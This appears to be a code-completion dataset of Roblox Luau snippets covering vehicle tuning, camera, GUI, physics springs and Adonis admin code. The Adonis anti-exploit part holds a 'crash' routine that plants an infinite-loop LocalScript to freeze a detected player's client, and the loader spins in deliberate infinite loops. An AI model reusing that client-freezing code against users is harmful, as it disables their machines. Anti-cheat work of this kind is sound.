prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TweenService = game:GetService("TweenService")
local Players = game:GetService("Players")
|
--- Fire
|
Signal.Fire = function(eventName, ...)
--- Variables
eventName = string.lower(eventName)
--- Get/create event
local event = GetEvent(eventName)
--- Signal for visualization/tracking purposes on Debug (Client only) META AF BTW
if (not isServer) and eventName ~= "core signal fired" then
Signal.Fire("CORE Signal Fired", eventName)
end
--- Fire event w/ data
event:Fire(...)
end
|
-- / Setting / --
|
local Settings = {
Scale = 2
}
|
--don't go after the left side if the opponent is hugging the wall
--don't spam hit while not in range (gives opportunity for enemy to attack while lunge is down)
--make it go closer when the opponent's attack is on cooldown
--realize that once it's being attacked, if the opponent is plays optimally it can't dodge so try maneuvers while attacking
--make it not attempt to back off when it's already being hit
--back off when lunging Almost over and down
| |
--[=[
Invokes the function once at renderstepped, unless the cancel callback is called.
@param func function -- Function to call
@return function -- Call this function to cancel call
]=]
|
function StepUtils.onceAtRenderStepped(func)
return StepUtils.onceAtEvent(RunService.RenderStepped, func)
end
|
-- Functions
|
function SPRING.new(self, mass, force, damping, speed)
local spring = {
Target = Vector3.new();
Position = Vector3.new();
Velocity = Vector3.new();
Mass = mass or 5;
Force = force or 50;
Damping = damping or 4;
Speed = speed or 4;
}
function spring.getstats(self)
return self.Mass, self.Force, self.Damping, self.Speed
end
function spring.changestats(self, mass, force, damping, speed)
self.Mass = mass or self.Mass
self.Force = force or self.Force
self.Damping = damping or self.Damping
self.Speed = speed or self.Speed
end
function spring.shove(self, force)
local x, y, z = force.X, force.Y, force.Z
if x ~= x or x == math.huge or x == -math.huge then
x = 0
end
if y ~= y or y == math.huge or y == -math.huge then
y = 0
end
if z ~= z or z == math.huge or z == -math.huge then
z = 0
end
self.Velocity = self.Velocity + Vector3.new(x, y, z)
end
function spring.update(self, dt)
local scaledDeltaTime = dt * self.Speed / ITERATIONS
for i = 1, ITERATIONS do
local iterationForce= self.Target - self.Position
local acceleration = (iterationForce * self.Force) / self.Mass
acceleration = acceleration - self.Velocity * self.Damping
self.Velocity = self.Velocity + acceleration * scaledDeltaTime
self.Position = self.Position + self.Velocity * scaledDeltaTime
end
return self.Position
end
return spring
end
|
--[[ END OF SERVICES ]]
|
local LocalPlayer = PlayersService.LocalPlayer
while LocalPlayer == nil do
PlayersService.ChildAdded:wait()
LocalPlayer = PlayersService.LocalPlayer
end
local PlayerGui = LocalPlayer:WaitForChild("PlayerGui")
|
-----------------------------------
|
elseif script.Parent.Parent.Parent.TrafficControl.Value == ">" then
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.G.BrickColor = BrickColor.new("New Yeller")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.B.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.C.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.D.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.E.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.F.BrickColor = BrickColor.new("New Yeller")
script.Parent.Parent.G.BrickColor = BrickColor.new("New Yeller")
wait(0.2)
script.Parent.Parent.A.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.B.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.C.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.D.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.E.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.F.BrickColor = BrickColor.new("Medium stone grey")
script.Parent.Parent.G.BrickColor = BrickColor.new("Medium stone grey")
wait(0.2)
|
--[[Weight and CG]]
|
Tune.Weight = 2300 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .5 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--[=[
Stops all motors on the gamepad.
```lua
gamepad:SetMotor(Enum.VibrationMotor.Large, 1)
gamepad:SetMotor(Enum.VibrationMotor.Small, 1)
task.wait(0.1)
gamepad:StopMotors()
```
]=]
|
function Gamepad:StopMotors()
for _,motor in ipairs(Enum.VibrationMotor:GetEnumItems()) do
if self:IsMotorSupported(motor) then
self:StopMotor(motor)
end
end
end
|
-- Fire with whitelist
|
function FastCast:FireWithWhitelist(origin, directionWithMagnitude, velocity, whitelist, cosmeticBulletObject, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, penetrationData)
assert(getmetatable(self) == FastCast, ERR_NOT_INSTANCE:format("FireWithWhitelist", "FastCast.new()"))
BaseFireMethod(self, origin, directionWithMagnitude, velocity, cosmeticBulletObject, nil, ignoreWater, bulletAcceleration, tool, clientModule, miscs, replicate, whitelist, true, penetrationData)
end
|
-- Color Changing Script ~ Rainbow!
|
while true do
script.Parent.Color = Color3.fromRGB(255, 0, 0)
wait(1)
script.Parent.Color = Color3.fromRGB(255, 149, 0)
wait(1)
script.Parent.Color = Color3.fromRGB(255, 247, 0)
wait(1)
script.Parent.Color = Color3.fromRGB(4, 255, 0)
wait(1)
script.Parent.Color = Color3.fromRGB(0, 255, 255)
wait(1)
script.Parent.Color = Color3.fromRGB(8, 0, 255)
wait(1)
script.Parent.Color = Color3.fromRGB(226, 0, 255)
wait(1)
end
|
--easter egg
|
mouse.KeyDown:connect(function(key)
if key=="u" and script.Blown.Value == false then
Heat = Heat+1
end
end)
if not FE then
radiator.Oil.Enabled = false
radiator.Antifreeze.Enabled = false
radiator.Liquid.Volume = 0
radiator.Fan:Play()
radiator.Fan.Pitch = 1+FanSpeed
radiator.Steam:Play()
radiator.Liquid:Play()
script.Blown.Value = false
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
radiator.Fan.Volume = FanVolume
elseif Heat < FanTempAlpha then
FanCool = 0
radiator.Fan.Volume = 0
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
radiator.Break:Play()
radiator.Liquid.Volume = .5
radiator.Oil.Enabled = true
radiator.Antifreeze.Enabled = true
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
radiator.Smoke.Transparency = NumberSequence.new((BlowupTemp-Heat)/10,1)
radiator.Smoke.Enabled = true
radiator.Steam.Volume = math.abs(((BlowupTemp-Heat)-10)/10)
else
radiator.Smoke.Enabled = false
radiator.Steam.Volume = 0
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
script.Parent.Temp.TextColor3 = Color3.fromRGB(255,255-((Heat-FanTemp)*10),255-((Heat-FanTemp)*10))
end
else
handler:FireServer("Initialize",FanSpeed)
while wait(.2) do
if Heat > FanTemp and Fan == true then
FanCool = -FanSpeed
handler:FireServer("FanVolume",FanVolume)
else
FanCool = 0
handler:FireServer("FanVolume",0)
end
Load = ((script.Parent.Parent.Values.Throttle.Value*script.Parent.Parent.Values.RPM.Value*10*OverheatSpeed)/math.ceil((car.DriveSeat.Velocity.magnitude+.0000001)/100)/75000)-CoolingEfficiency
Heat = math.max(RunningTemp,(Heat+Load)+FanCool)
if Heat >= BlowupTemp then
Heat = BlowupTemp
handler:FireServer("Blown")
script.Parent.Parent.IsOn.Value = false
script.Blown.Value = true
elseif Heat >= BlowupTemp-10 then
handler:FireServer("Smoke",true,BlowupTemp,Heat)
else
handler:FireServer("Smoke",false,BlowupTemp,Heat)
end
script.Celsius.Value = Heat
script.Parent.Temp.Text = math.floor(Heat).."°c"
end
end
|
-- Camera mod
|
local Camera = require(cameraModule)
local lastUpCFrame = IDENTITYCF
Camera.UpVector = Vector3.new(0, 1, 0)
Camera.TransitionRate = 0.15
Camera.UpCFrame = IDENTITYCF
Camera.SpinPart = TERRAIN
Camera.LastSpinPart = TERRAIN
Camera.LastSpinCFrame = TERRAIN.CFrame
Camera.SpinCFrame = IDENTITYCF
function Camera:GetUpVector(oldUpVector)
return oldUpVector
end
function Camera:CalculateUpCFrame()
local oldUpVector = self.UpVector
local newUpVector = self:GetUpVector(oldUpVector)
local backup = game.Workspace.CurrentCamera.CFrame.RightVector
local transitionCF = getRotationBetween(oldUpVector, newUpVector, backup)
local vecSlerpCF = IDENTITYCF:Lerp(transitionCF, self.TransitionRate)
self.UpVector = vecSlerpCF * oldUpVector
self.UpCFrame = vecSlerpCF * self.UpCFrame
lastUpCFrame = self.UpCFrame
end
function Camera:SetSpinPart(part)
self.SpinPart = part
end
function Camera:CalculateSpinCFrame()
local delta = 0
local part = self.SpinPart
if (part == self.LastSpinPart) then
local lastCF = self.LastSpinCFrame
local rotation = part.CFrame - part.CFrame.p
local prevRotation = lastCF - lastCF.p
local direction = rotation:VectorToObjectSpace(self.UpVector)
delta = twistAngle(prevRotation:ToObjectSpace(rotation), direction)
end
self.SpinCFrame = CFrame.fromEulerAnglesYXZ(0, delta, 0)
self.LastSpinPart = part
self.LastSpinCFrame = part.CFrame
end
function Camera:Update(dt)
if self.activeCameraController then
if Camera.FFlagUserCameraToggle then
self.activeCameraController:UpdateMouseBehavior()
end
local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt)
self.activeCameraController:ApplyVRTransform()
self:CalculateUpCFrame()
self:CalculateSpinCFrame()
self.activeCameraController:UpdateUpCFrame(self.UpCFrame)
-- undo shift-lock offset
local lockOffset = Vector3.new(0, 0, 0)
if (self.activeMouseLockController and self.activeMouseLockController:GetIsMouseLocked()) then
lockOffset = self.activeMouseLockController:GetMouseLockOffset()
end
local offset = newCameraFocus:ToObjectSpace(newCameraCFrame)
local camRotation = self.UpCFrame * self.SpinCFrame * offset
newCameraFocus = newCameraFocus - newCameraCFrame:VectorToWorldSpace(lockOffset) + camRotation:VectorToWorldSpace(lockOffset)
newCameraCFrame = newCameraFocus * camRotation
--local offset = newCameraFocus:Inverse() * newCameraCFrame
--newCameraCFrame = newCameraFocus * self.UpCFrame * offset
if (self.activeCameraController.lastCameraTransform) then
self.activeCameraController.lastCameraTransform = newCameraCFrame
self.activeCameraController.lastCameraFocus = newCameraFocus
end
if self.activeOcclusionModule then
newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus)
end
game.Workspace.CurrentCamera.CFrame = newCameraCFrame
game.Workspace.CurrentCamera.Focus = newCameraFocus
if self.activeTransparencyController then
self.activeTransparencyController:Update()
end
end
end
function Camera:IsFirstPerson()
if self.activeCameraController then
return self.activeCameraController:InFirstPerson()
end
return false
end
function Camera:IsMouseLocked()
if self.activeCameraController then
return self.activeCameraController:GetIsMouseLocked()
end
return false
end
function Camera:IsToggleMode()
if self.activeCameraController then
return self.activeCameraController.isCameraToggle
end
return false
end
function Camera:IsCamRelative()
return self:IsMouseLocked() or self:IsFirstPerson()
--return self:IsToggleMode(), self:IsMouseLocked(), self:IsFirstPerson()
end
|
-- BEHAVIOUR
--Controller support
|
coroutine.wrap(function()
-- Create PC 'Enter Controller Mode' Icon
runService.Heartbeat:Wait() -- This is required to prevent an infinite recursion
local Icon = require(script.Parent)
local controllerOptionIcon = Icon.new()
:setName("_TopbarControllerOption")
:setOrder(100)
:setImage("rbxassetid://5278150942")
:setRight()
:setEnabled(false)
:setTip("Controller mode")
controllerOptionIcon.deselectWhenOtherIconSelected = false
-- This decides what controller widgets and displays to show based upon their connected inputs
-- For example, if on PC with a controller, give the player the option to enable controller mode with a toggle
-- While if using a console (no mouse, but controller) then bypass the toggle and automatically enable controller mode
local function determineDisplay()
local mouseEnabled = userInputService.MouseEnabled
local controllerEnabled = userInputService.GamepadEnabled
local iconIsSelected = controllerOptionIcon.isSelected
if mouseEnabled and controllerEnabled then
-- Show icon
controllerOptionIcon:setEnabled(true)
elseif mouseEnabled and not controllerEnabled then
-- Hide icon, disableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(false)
controllerOptionIcon:deselect()
elseif not mouseEnabled and controllerEnabled then
-- Hide icon, _enableControllerMode
controllerOptionIcon:setEnabled(false)
IconController._enableControllerMode(true)
end
end
userInputService:GetPropertyChangedSignal("MouseEnabled"):Connect(determineDisplay)
userInputService.GamepadConnected:Connect(determineDisplay)
userInputService.GamepadDisconnected:Connect(determineDisplay)
determineDisplay()
-- Enable/Disable Controller Mode when icon clicked
local function iconClicked()
local isSelected = controllerOptionIcon.isSelected
local iconTip = (isSelected and "Normal mode") or "Controller mode"
controllerOptionIcon:setTip(iconTip)
IconController._enableControllerMode(isSelected)
end
controllerOptionIcon.selected:Connect(iconClicked)
controllerOptionIcon.deselected:Connect(iconClicked)
-- Hide/show topbar when indicator action selected in controller mode
userInputService.InputBegan:Connect(function(input,gpe)
if not IconController.controllerModeEnabled then return end
if input.KeyCode == Enum.KeyCode.DPadDown then
if not guiService.SelectedObject and checkTopbarEnabledAccountingForMimic() then
IconController.setTopbarEnabled(true,false)
end
elseif input.KeyCode == Enum.KeyCode.ButtonB then
IconController._previousSelectedObject = guiService.SelectedObject
IconController._setControllerSelectedObject(nil)
IconController.setTopbarEnabled(false,false)
end
input:Destroy()
end)
-- Setup overflow icons
for alignment, detail in pairs(alignmentDetails) do
if alignment ~= "mid" then
local overflowName = "_overflowIcon-"..alignment
local overflowIcon = Icon.new()
:setImage(6069276526)
:setName(overflowName)
:setEnabled(false)
detail.overflowIcon = overflowIcon
overflowIcon.accountForWhenDisabled = true
if alignment == "left" then
overflowIcon:setOrder(math.huge)
overflowIcon:setLeft()
overflowIcon:set("dropdownAlignment", "right")
elseif alignment == "right" then
overflowIcon:setOrder(-math.huge)
overflowIcon:setRight()
overflowIcon:set("dropdownAlignment", "left")
end
overflowIcon.lockedSettings = {
["iconImage"] = true,
["order"] = true,
["alignment"] = true,
}
end
end
end)()
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 278 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[Weight and CG]]
|
Tune.Weight = 5000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6.8 ,
--[[Height]] 6.2 ,
--[[Length]] 16 }
Tune.WeightDist = 51 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .35 -- Front Wheel Density
Tune.RWheelDensity = .35 -- Rear Wheel Density
Tune.FWLgcyDensity = 3.5 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 3.5 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = MORE STABLE / carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--get member data associated with a roblox entity
|
local PublicMembers = {}
local Data = {}
script.SyncMember.OnClientEvent:connect(function(object,memberName,value)
if not Data[object] then
Data[object] = {}
end
Data[object][memberName] = value
script.PublicMemberChanged:Fire(object,memberName,value)
end)
function PublicMembers:GetMemberValue(object,memberName)
if Data[object] then
return Data[object][memberName]
end
end
return PublicMembers
|
--// Anti-Exploit
|
return function(Vargs)
local server = Vargs.Server;
local service = Vargs.Service;
local Functions, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Settings
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Settings = server.Settings;
Logs:AddLog("Script", "AntiExploit Module Initialized")
end;
server.Anti = {
Init = Init;
SpoofCheckCache = {};
RemovePlayer = function(p, info)
info = info or "No Reason Given"
pcall(function() service.UnWrap(p):Kick(tostring(info)) end)
--pcall(function() Remote.Send(p,"Function","Kill") end)
wait(1)
pcall(p.Destroy, p)
pcall(service.Delete, p)
Logs.AddLog("Script",{
Text = "Server removed "..tostring(p);
Desc = tostring(info);
})
end;
UserSpoofCheck = function(p)
--// Supplied by BetterAccount
if not service.RunService:IsStudio() then
local userService = service.UserService;
local success,err = pcall(function()
local userInfo = Anti.SpoofCheckCache[p.UserId] or userService:GetUserInfosByUserIdsAsync({p.UserId})
local data = userInfo and userInfo[1];
Anti.SpoofCheckCache[p.UserId] = userInfo;
if data and data.Id == p.UserId then
if p.Name ~= data.Username or p.DisplayName ~= data.DisplayName then
return true
end
else
for i,user in next,userInfo do
if user.Id == p.UserId then
if p.Name ~= user.Username or p.DisplayName ~= user.DisplayName then
return true
end
end
end
end
end)
if not success then
warn("Failed to check validity of player's name, reason: ".. tostring(err))
end
end
end;
Sanitize = function(obj, classList)
if Anti.RLocked(obj) then
pcall(service.Delete, obj)
else
for i,child in next,obj:GetChildren() do
if Anti.RLocked(child) or Functions.IsClass(child, classList) then
pcall(service.Delete, child)
else
pcall(Anti.Sanitize, child, classList)
end
end
end
end;
isFake = function(p)
if Anti.ObjRLocked(p) or not p:IsA("Player") then
return true,1
else
local players = service.Players:GetChildren()
local found = 0
if service.NetworkServer then
local net = false
for i,v in pairs(service.NetworkServer:GetChildren()) do
if v:IsA("NetworkReplicator") and v:GetPlayer() == p then
net = true
end
end
if not net then
return true,1
end
end
for i,v in pairs(players) do
if tostring(v) == tostring(p) then
found = found+1
end
end
if found>1 then
return true,found
else
return false
end
end
end;
RemoveIfFake = function(p)
local isFake
local ran,err = pcall(function() isFake = Anti.isFake(p) end)
if isFake or not ran then
Anti.RemovePlayer(p)
end
end;
FindFakePlayers = function()
for i,v in pairs(service.Players:GetChildren()) do
if Anti.isFake(v) then
Anti.RemovePlayer(v, "Fake")
end
end
end;
GetClassName = function(obj)
local testName = tostring(math.random()..math.random())
local ran,err = pcall(function()
local test = obj[testName]
end)
if err then
local class = err:match(testName.." is not a valid member of (.*)")
if class then
return class
end
end
end;
RLocked = function(obj)
return not pcall(function() return obj.GetFullName(obj) end)
--[[local ran,err = pcall(function() service.New("StringValue", obj):Destroy() end)
if ran then
return false
else
return true
end--]]
end;
ObjRLocked = function(obj)
return not pcall(function() return obj.GetFullName(obj) end)
--[[local ran,err = pcall(function() obj.Parent = obj.Parent end)
if ran then
return false
else
return true
end--]]
end;
AssignName = function()
local name = math.random(100000,999999)
return name
end;
Detected = function(player,action,info)
local info = string.gsub(tostring(info), "\n", "")
if Core.DebugMode or service.RunService:IsStudio() then
warn("ANTI-EXPLOIT: "..player.Name.." "..action.." "..info)
elseif service.NetworkServer then
if player then
if action:lower() == 'log' then
-- yay?
elseif action:lower() == 'kick' then
Anti.RemovePlayer(player, info)
--player:Kick("Adonis; Disconnected by server; \n"..tostring(info))
elseif action:lower() == 'kill' then
player.Character:BreakJoints()
elseif action:lower() == 'crash' then
Remote.Send(player,'Function','Kill')
wait(5)
pcall(function()
local scr = Core.NewScript("LocalScript",[[while true do end]])
scr.Parent = player.Backpack
scr.Disabled = false
end)
Anti.RemovePlayer(player, info)
else
-- fake log (thonk?)
Anti.Detected(player, "Kick", "Spoofed log")
return;
end
end
end
Logs.AddLog(Logs.Script,{
Text = "AE Detected "..tostring(player);
Desc = "The Anti-Exploit system detected strange activity from "..tostring(player);
Player = player;
})
Logs.AddLog(Logs.Exploit,{
Text = "[Action: "..tostring(action).." User: (".. tostring(player) ..")] ".. tostring(info:sub(1, 50)) .. " (Mouse over full info)";
Desc = tostring(info);
Player = player;
})
end;
CheckNameID = function(p)
if p.userId > 0 and p.userId ~= game.CreatorId and p.Character then
local realId = service.Players:GetUserIdFromNameAsync(p.Name) or p.userId
local realName = service.Players:GetNameFromUserIdAsync(p.userId) or p.Name
if realName and realId then
if (tonumber(realId) and realId~=p.userId) or (tostring(realName)~="nil" and realName~=p.Name) then
Anti.Detected(p,'log','Name/UserId does not match')
end
Remote.Send(p,"LaunchAnti","NameId",{RealID = realId; RealName = realName})
end
end
end;
};
end
|
-- reloading
|
GUI.MobileButtons.ReloadButton.MouseButton1Click:connect(function()
Reload()
end)
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Occupied.Value = true
if script.Parent.L.Value == true then
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
end
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Occupied.Value = false
end
end
end
end)
|
-- function SliderClass.Create(axis)
-- local slider = nil
| |
--Tweens
|
local OpenTween = TweenService:Create(Hinge,OpenTweenInfo,{CFrame = OpenHinge.CFrame})
local CloseTween = TweenService:Create(Hinge,CloseTweenInfo,{CFrame = ClosedHinge.CFrame})
|
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
|
Tune.FCamber = 1.5
Tune.RCamber = 1.5
Tune.FToe = 0
Tune.RToe = 0
|
-- Turns off body orientation. Developer-facing.
|
function BodyOrientation.disable()
if not enabled then
return
end
playerAddedConnection:Disconnect()
playerRemovingConnection:Disconnect()
for _, player in ipairs(Players:GetChildren()) do
onPlayerRemoving(player)
end
enabled = false
end
return BodyOrientation
|
-- This stops all of the public Adonis bypasses. Though they would still be detected in time but it may be better to kick them before load??
|
do
local game = game
local task_spawn, xpcall, require, task_wait
= task.spawn, xpcall, require, task.wait
local Players = game:FindFirstChildWhichIsA("Players") or game:FindService("Players")
local localPlayer = Players.LocalPlayer
local triggered = false
local function loadingDetected(reason)
(localPlayer or Players.LocalPlayer):Kick(`:: Adonis Loader - Security ::\n{reason}`)
while true do end
end
task_spawn(xpcall, function()
local exampleService = game:GetService("Workspace") or game:GetService("ReplicatedStorage")
local success, err = pcall(require, game)
if not exampleService then
task_spawn(xpcall, function() loadingDetected("Service not returning") end, function(err) loadingDetected(err) end)
while true do end
end
if success or not string.match(err, "^Attempted to call require with invalid argument%(s%)%.$") then
task_spawn(xpcall, function() loadingDetected(`Require load fail. {err}`) end, function(err) loadingDetected(err) end)
while true do end
end
triggered = true
end, function(err) task_spawn(loadingDetected, err) while true do end end)
task_spawn(xpcall, function()
task_wait()
task_wait()
if not triggered then
task_spawn(xpcall, function() loadingDetected(`Loading detectors failed to load{triggered}`) end, function(err) loadingDetected(err) end)
while true do end
end
end, function(err) task_spawn(loadingDetected, err) while true do end end)
end
local players = game:GetService("Players");
local player = players.LocalPlayer;
local folder = script.Parent;
local container = folder.Parent;
local Kick = player.Kick;
local module = folder:WaitForChild("Client");
local target = player;
local realPrint = print;
local realWarn = warn;
local start = time();
local function print(...)
--realPrint(...)
end
local function warn(str)
if DebugMode or player.UserId == 1237666 then
realWarn(`ACLI: {str}`)
end
end
local function Kill(info)
if DebugMode then warn(info) return end
pcall(function() Kick(player, info) end)
wait(1)
pcall(function() while not DebugMode and wait() do pcall(function() while true do end end) end end)
end
local function Locked(obj)
return (not obj and true) or not pcall(function() return obj.GetFullName(obj) end)
end
local function loadingTime()
warn("LoadingTime Called")
setfenv(1,{})
warn(tostring(time() - start))
end
local function callCheck(child)
warn(`CallCheck: {child}`)
if Locked(child) then
warn("Child locked?")
Kill("ACLI: Locked")
else
warn("Child not locked")
xpcall(function()
return child[{}]
end, function()
if getfenv(1) ~= getfenv(2) then
Kill("ACLI: Error")
end
end)
end
end
local function doPcall(func, ...)
local ran,ret = pcall(func, ...)
if ran then
return ran,ret
else
warn(tostring(ret))
Kill(`ACLI: Error\n{ret}`)
return ran,ret
end
end
if module and module:IsA("ModuleScript") then
warn("Loading Folder...")
local nameVal
local origName
local depsFolder
local clientModule
warn("Waiting for Client & Special")
nameVal = folder:WaitForChild("Special", 30)
warn("Checking Client & Special")
--callCheck(nameVal)
--callCheck(clientModule)
warn("Getting origName")
origName = (nameVal and nameVal.Value) or folder.Name
warn(`Got name: {origName}`)
warn("Removing old client folder...")
local starterPlayer = game:GetService("StarterPlayer");
